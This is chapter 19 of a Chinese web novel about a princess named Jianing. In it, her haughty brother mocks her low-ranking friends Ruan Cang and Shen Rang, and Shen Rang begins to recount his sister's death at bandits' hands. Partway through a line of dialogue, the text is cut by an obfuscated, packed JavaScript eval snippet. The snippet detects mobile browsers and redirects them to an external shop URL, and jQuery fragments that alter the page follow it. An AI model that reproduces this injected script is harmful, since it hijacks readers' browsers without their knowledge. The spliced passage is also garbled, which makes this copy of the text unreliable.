19. 第 19 章

作品:《郡主执刀录

    今日换成阮仓在课堂上打起瞌睡来,脑袋重重磕在桌案上,发出一声巨响。


    正在讲解诗经的花太傅冷不丁被人打断,放下手中的课本,声音里带着些不悦:“是谁?”


    听见花太傅的声音,阮仓被吓得睡意全无,扭扭捏捏的站起身子,却听到周围人一阵哄笑,搞不清状况的阮仓顿感手足无措。


    “南方有习俗,每逢端午会用雄黄酒在孩童额头上写一个‘王’字,是希望保佑孩子健康成长。不知道你用这是什么寓意呢?”


    花太傅的话又引得一阵爆笑,阮仓环顾四周,觉得身后有人扯自己的衣服,转过头去就见后座的同伴指了指脸上。


    阮仓在脸上摸了一把却将那道墨痕弄得满脸都是,样子更加滑稽。


    不出所料,阮仓自然就被罚了站,在众人的哄笑声中拿着课本灰溜溜的走到尚书房外面壁思过。


    嘉宁也想知道发生了什么,探着个小脑袋想透过屏风看清楚,不经意间转头与讲台上的花太傅对视,瞧着花太傅的眼神仿佛是在说你要是再打瞌睡也要罚站一般,嘉宁有些心虚地低下头。


    想着阮仓也是因为熬夜帮自己画插图才在课堂上打瞌睡,嘉宁心里又有些愧疚,只能吩咐小婉趁着午休时,再给霁青拿些驱寒的姜汤和点心,让他转交阮仓。


    小婉不多时就回来了,将阮仓的话转告给嘉宁。


    “阮公子让我我将书先转交给沈公子,今夜先让他好好睡一觉,改日再接着画没有画完的。”


    嘉宁点点头,略微思索一番说道:“这原是我自己要抄的,到让别人帮起忙来,等下散了学,你帮我拦住沈公子,我将那《游四洲实录》要回来,咱们自己写就可以了。”


    “那我去跟沈公子要回来就好了。”小婉不明所以,却在嘉宁幽怨的目光中恍然大悟一般,“那我还是避开别人,悄悄将沈公子带过来。”


    “嘿嘿,小婉真聪明。”嘉宁收起幽怨的目光,嫣然一笑,夸赞道。


    到了傍晚众人散去,沈让与阮仓又悄悄折返,一进门阮仓就兴冲冲地对嘉宁说:“你瞧我昨夜一夜未眠,差不多将书里的插图画了一半多,眼下这黑眼圈都没消。又被花太傅罚站,我这两条腿快要疼死了。”


    “赶明儿,我送你一刀泾县的青檀树皮做的宣纸,听说百折不损,墨韵万变,不腐不蛀。你看可好?”


    “真的?”阮仓喜出望外。


    泾县的宣纸可专供皇家使用,是取当地三年生左右的青檀树皮和沙田稻草,混入杨藤汁,又用独特的山泉水浸泡。


    制作工艺复杂,程序繁琐,每年能制成的宣纸大多成了皇家御用,民间为求一纸不惜千金,像阮仓这样的小门小户自然消耗不起。


    “泾县的宣纸可是皇上的御赐之物,你也舍得送人?”


    宋嘉淮的声音从门外传来,不一会就瞧见他进来。只见他身着一身墨绿色缂丝鹤氅,揣着同色暖袖,眉峰高扬,目光里满是傲慢与不屑。


    沈让与阮仓几日赶忙行礼问安,宋嘉淮仿佛没有觉察到两人一样,径直穿过两人来的嘉宁面前。


    此刻嘉宁还坐在蒲团上,想要与宋嘉淮对视还需抬起头来,宋嘉淮一时间倒摆出一副居高临下的姿态。


    “我说你总是赖在学堂里不走,他俩,你瞧中了其中哪一个?”宋嘉淮随手一指还在弯腰鞠躬的两人,一脸玩味地问嘉宁。


    “哥哥,可还记得太傅今日讲过的八拜之交有哪些?分别是知音之交,刎颈之交,舍命之交……”


    “那你们是——八交外的车笠之交?”不等嘉宁说完,宋嘉淮就不耐烦的打断她。


    车笠之交是形容不以贫富贵贱而异的朋友,切不在八交之内。


    宋嘉淮这样说还是看不起沈让阮仓二人身份低微。阮仓一直弓着身子时间一长,难免腰肢酸软,身形晃了晃。嘉宁看不下去他们这样憋屈,赶忙让他俩起身。


    “你是?”宋嘉淮歪着头,一手摸着下巴,盯着阮仓上下打量似是在努力思索回忆一般。


    “回太孙的话,小人名阮仓,字云逸。家父是阮世宇,家住……”阮仓被他盯得心里发毛,如同直筒倒豆子一般将自己的底细全盘托出。


    “哦——,阮世宇,是个五品的侍奉。我记得京城地价高,阮大人买不起房子,就在临县买了个小院,每日来上朝都是夜里就要赶车,碰见了阴天下雨必定是要迟到。那些文官都管他叫阮雨迟,是也不是?”


    宋嘉淮一番话说的阮仓脸上一阵红一阵白,低着头回了句是。


    宋嘉淮又打量起沈让,先是疑问,后又像是恍然大悟一般:“这位是?我想起来了,上次我还见过你,你叫沈让是吧。”


    见到沈让点点头,宋嘉淮继续说下去:“沈大人升迁是因为剿匪有功,可这莲蓉县匪患猖獗不是一两日的事情,官府都是束手无策。听闻是那伙山匪绑了沈大人的子女,以此威胁沈大人索要赎金,沈大人带着一众人人马潜入山贼窝,将他们一举抓获。听说你还有个妹妹是死于山贼之手?”


    听到妹妹的一瞬间,沈让的瞳孔不可察觉的放大,脸上多了些慌乱之色。


    “不知道你妹妹叫什么名字?貌似是叫沈苒?”见他不回话,宋嘉淮继续追问道。


    沈让似是被提起伤心事,眼眶红红的,鼻子发酸,艰难的从口中吐出一个“是!”字


    “够了!别再说了,他们都是我的朋友,你这是做什么?”嘉宁看到沈让这副样子,心里也有些难过,起身挡在他前面。


    “那你们是八交中的那一种呢?”宋嘉淮将审视的目光从沈让身上移走,重新望向嘉宁,继续刚才没说完的话题。


    “知音之交。”


    宋嘉淮像是听到什么天大的笑话一般,嘲讽起来:“他们跟你有什么可作知音?是与你谈书论道,还是与你吟诗作对,只不过觉得你是个郡主身份尊贵些,攀个皇亲,弄个驸马爷当当。”


    “那些平日里与你厮混在一起的狐朋狗友,也不过是趋炎附势,为了巴结你,日后好保他们仕途无忧罢了,可惜你终究做不了主。”嘉宁不堪示弱,平白被他这番羞辱,自然是要回怼回去。


    “跟着我好歹可以混个仕途,与你不过是个面首


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057685|194900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罢了。我好心来劝你,你不听那就算了。只是泾县宣纸贵,不要给了不值得的人。”宋嘉淮对着嘉宁一番训诫后,带着侍从潇洒离去。


    宋嘉淮一走,周遭压抑的紧张的气氛顿感消失,嘉宁想要说些什么来缓解气氛,示意众人坐下。


    “方才王兄的话不必放在心上,我今日又带了两支狼毫笔,不是什么名贵东西只是觉得造型奇特特意拿来的,你们一人一支就当做是帮我抄书画图的谢礼”


    嘉宁从书匣内拿出两个盒子,打开其中一个露出里面的绿檀凤钗狼毫笔,笔杆弯曲,笔头做成凤钗的形状,样子十分稀奇。


    阮仓一反常态如同霜打的茄子一般,对这笔也没了兴趣,推脱道:“谢过郡主,能为郡主做事是小人的福气,天色不早,车马劳顿,小人先告退。”


    说完,阮仓就拉着霁青要走,霁青有些惋惜地瞧了眼绿檀凤钗笔,他家公子最喜欢收集各种笔。


    这根看起来造型如此奇特,公子肯定是喜欢,却因为太孙一番话说的太伤人自尊,郡主的好意是如何也收不的了。


    孤男寡女不可共处一室,小婉守在门口望风,屋内独留下沈让与嘉宁。


    若没有刚才一遭嘉宁定是满心欢喜,可现在却不知道说什么才能安抚伤心难过的沈让。


    “逝者已逝,切莫再要伤心难过,……”嘉宁放缓语速,柔声安慰。


    “郡主乃是千金之躯,怎么好与郡主攀亲。郡主可知我妹妹是怎么死的?”


    一听沈让的话,嘉宁面露诧异之色,难道此事另有隐情,听着沈让说起往事,越说越激动,两行清泪顺着洁白的面颊落下,清秀的脸上多了几分柔弱与无助。


    莲蓉县山川环绕,依据地势滋生了许多山匪,山匪与官府相互勾结势力盘踞多年,根基不容易轻易铲绝。


    沈大人初到此地时一心想要大展宏图,势必要将山匪剿灭,派人潜入山匪内部,原本是想里应外合,却不想被官府内的奸细告发。


    恼羞成怒的山匪趁着深夜闯入沈府,斩杀沈府家丁,又绑沈家兄妹二人想要威胁沈大人投降。


    沈大人瞧着沈府满院的尸首,拿着那封威胁信的手不停的颤抖,不知是愤怒还是担忧。


    一日后,得知沈大人投降的消息的山匪头领大喜过望觉得这整个莲蓉县都是他的,对着战战兢兢的沈让兄妹大放厥词:


    “这整个莲蓉县百姓怕我,官府忌惮我,山寨里的人臣服我,天高皇帝远,我做个土皇帝岂不快哉。”


    此事已经过去多年,却在沈让心里留下不小的阴影,每每回忆起那首领满脸横肉,凶神恶煞的样子就是一阵后怕。


    一行清泪从他缓缓闭上的眼睛溢出,长舒一口气后继续说道:“后来我才听说父亲被那人逼着下跪羞辱,对那人百般讨好,说尽了恭维之词。只是为了,为了争取时间,好让那些官兵趁着山寨守卫松懈救出我们兄妹二人。”


    “那你妹妹没死?”嘉宁小心开口询问,却像是触动了沈让内心最不愿被提起的伤心之处。


    沈让的声音突然高了许多,再也忍不住抽泣。